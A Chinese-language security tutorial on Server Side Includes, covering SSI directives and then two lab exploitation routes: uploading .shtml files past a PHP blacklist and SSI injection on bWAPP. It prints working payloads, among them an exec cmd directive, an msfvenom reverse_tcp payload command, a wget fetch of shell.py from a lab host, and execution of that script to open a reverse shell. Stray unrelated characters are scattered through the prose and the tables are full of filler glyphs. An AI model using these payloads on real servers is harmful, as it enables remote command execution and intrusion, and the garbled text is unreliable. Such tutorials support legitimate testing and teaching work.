0x01 SSI (Server Side Includes)
SSI (Server Side Include)寝受,是一種簡(jiǎn)單的服務(wù)器端解釋性腳本語言。通過使用 #include
指令將一個(gè)或多個(gè)文件內(nèi)容包含到web服務(wù)器上的網(wǎng)頁中。SSI 還包含了具有條件特征和調(diào)用外部程序的控制指令。它被 Apache
, LiteSpeed
, Nginx
, IIS
以及 W3C
的 Jigsaw
所支持。
而為了讓web服務(wù)器識(shí)別 ssi
允許的 html
文件并且執(zhí)行它的指令圈暗,需要和其他后端語言一樣,需要規(guī)定一個(gè)后綴名以識(shí)別解析(其默認(rèn)的后綴名是 .shtml
, .stm
, .shtm
处面,或者可以在服務(wù)器端自行進(jìn)行配置)厂置。
SSI 具有強(qiáng)大的功能,只要是用一條簡(jiǎn)單的 ssi 指令就可以實(shí)現(xiàn)整個(gè)網(wǎng)站的更新魂角,時(shí)間日期的動(dòng)態(tài)更新昵济,以及執(zhí)行 shell
和 CGI
腳本程序等復(fù)雜功能。它與 CGI
類似野揪,不同之處在于SSI用于在加載當(dāng)前頁面之前或在頁面可視化時(shí)候執(zhí)行某些操作访忿。
0x02 語法 & 指令
1. 語法
SSI 的語法很簡(jiǎn)單
<!--#directive parameter=value parameter=value -->
偽指令放置在 HTML
注釋中。需要注意的就是該語法不允許在 <
和指令之間留空格斯稳。而關(guān)于 Apache
的 SSI 格式規(guī)定中海铆,必須在 -->
之前用空格字符關(guān)閉該元素
2. 指令
通用指令
以下是NCSA HTTPd時(shí)代以來的 SSI 指令。它們得以所有實(shí)現(xiàn)的支持
? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??指令? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? | ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 參數(shù)? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? | 描述 | ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??例子? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? |
---|---|---|---|
include |
file virtual
|
這可能是最常用的SSI指令挣惰,允許一個(gè)文檔的內(nèi)容包含于另一個(gè)文檔中卧斟。file 或 virtual 參數(shù)指定了要包含的文件(html頁面殴边,文本文件,腳本等)珍语。包括另一個(gè)文件的內(nèi)容或運(yùn)行 CGI 腳本的結(jié)果锤岸。如果該進(jìn)程無權(quán)限讀取文件或執(zhí)行腳本,則包含將失敗板乙。virtual 默認(rèn)指定根目錄是偷,而 file 默認(rèn)指定當(dāng)前路徑,且應(yīng)當(dāng)不采用絕對(duì)路徑的方式募逞。通常默認(rèn)禁止跨目錄(..)蛋铆。 |
<!--#include virtual="menu.cgi" --> <!--#include file="footer.html" -->
|
exec |
cgi cmd
|
該偽指令在服務(wù)器上執(zhí)行程序,腳本或 Shell 命令放接。cmd 參數(shù)指定服務(wù)器端命令刺啦;cgi 參數(shù)指定 CGI 腳本的路徑。當(dāng)前 SSI 腳本的 PATH_INFO 和 QUERY_STRING 將會(huì)傳遞給 CGI 腳本透乾,因此應(yīng)該用 exec cgi 來替代 include virtual 指令洪燥。 |
<!--#exec cgi="/cgi-bin/foo.cgi" --> <!--#exec cmd="ls -l" -->
|
echo |
var |
此偽指令顯示指定的 HTTP 環(huán)境變量 的內(nèi)容。變量包括 HTTP_USER_AGENT , LAST_MODIFIED 和 HTTP_ACCEPT 乳乌。 |
<!-#echo var="REMOTE_ADDR" --> |
config |
timefmt sizefmt errmsg
|
此偽指令為日期、時(shí)間市咆、文件大小和錯(cuò)誤消息(當(dāng) SSI 命令失敗時(shí)返回)配置顯示格式汉操。 |
<!--#config timefmt="%y %m %d" --> <!--#config sizefmt="bytes" --> <!--#config errmsg="SSI command failed!" -->
|
flastmod fsize
|
file virtual
|
這兩指令顯示指定文檔的最后修改日期或指定文檔的尺寸。file 參數(shù)默認(rèn)指定當(dāng)前路徑蒙兰,virtual 默認(rèn)指定根目錄磷瘤。 |
<!--#flastmod virtual="index.html" --> <!--fsize file="script.pl" -->
|
控制指令
這些指令是在后面添加到 SSI 中的。包括 if-elif-else-endif
流控制以及變量寫入等
? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? 指令? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? | ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??指令? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? | 描述 | 例子 | ? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ??支持的中間件? ? ?? ? ? ? ? ? ? ?? ? ? ? ? ? ? ?? |
---|---|---|---|---|
if elif else endif
|
expr |
這個(gè)就是我們平常的 If-else 語句搜变。 |
<!--#if expr="${Sec_Nav}" --> <!--#include virtual="secondary_nav.txt" --> <!--#elif expr="${Pri_Nav}" --> <!--#include virtual="primary_nav.txt" --> <!--#else --> <!--#include virtual="article.txt" --> <!--#endif -->
|
Everything |
set |
var value
|
設(shè)置 SSI 變量值采缚。Apache 提供了附加參數(shù),用于編碼挠他。 |
<!--#set var="foo" value="bar" --> |
Apache Nginx
|
printenv |
該指令輸出所有 SSI 變量及其值的列表扳抽,包括環(huán)境變量和用戶定義的變量。它沒有屬性殖侵。 | <!--#printenv --> |
Apache |
0x03 利用場(chǎng)景和方式
說了這么多贸呢,接下來我們看看利用方式
1、文件上傳
本示例采用 MAMP PRO
的集成環(huán)境(用的 Apache
) 拢军,首先需要開啟 SSI 楞陷,具體配置問題可以參考 Apache、Nginx 服務(wù)配置服務(wù)器端包含(SSI)
在某些環(huán)境下茉唉,上傳點(diǎn)可能限制了我們的上傳后綴
我們可以嘗試上傳 shtml
或 shtm
(當(dāng)然固蛾,如果服務(wù)器配置了其他后綴解析的話都可以靈活地進(jìn)行嘗試
1)例如我們此處是一個(gè)黑名單過濾结执,不允許上傳 php
的腳本文件
2)此處便可嘗試上傳 shtml
文件,嘗試?yán)?SSI 漏洞執(zhí)行命令
3)當(dāng)然艾凯,我們可以直接通過執(zhí)行的命令來 getshell
2昌犹、SSI注入
如果中間件開啟了 SSI ,且頁面存在 xss 漏洞的話览芳,可以嘗試進(jìn)行 SSI 注入(這里采用了 bwapp
進(jìn)行測(cè)試)
1)測(cè)試發(fā)現(xiàn)存在xss
2)把 xss
的 payload
替換為 ssi
test<!--#exec cmd="ls -l" -->
3)利用 ssi 反彈 shell
利用msfvemon生成木馬
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.101.8 lport=4444 -f raw > shell.py
利用 ssi 遠(yuǎn)程下載木馬
test<!--#exec cmd="wget http://192.168.101.8/shell.py" -->
利用msf獲取反彈shell
這里不知為何斜姥,wget
到網(wǎng)站當(dāng)前目錄,執(zhí)行命令彈不回 shell
沧竟,下載到 /tmp
目錄又是空文件铸敏,知道到大佬還請(qǐng)指點(diǎn)下。
這里最后用了一個(gè)笨方法悟泵,把 msf
生成的 payload
用 echo
命令分段寫進(jìn) /tmp
目錄以后(太長了會(huì)報(bào)錯(cuò))杈笔,再賦予權(quán)限
執(zhí)行命令,成功彈回 shell
t<!--#EXEC cmd="python /tmp/sss.py" -->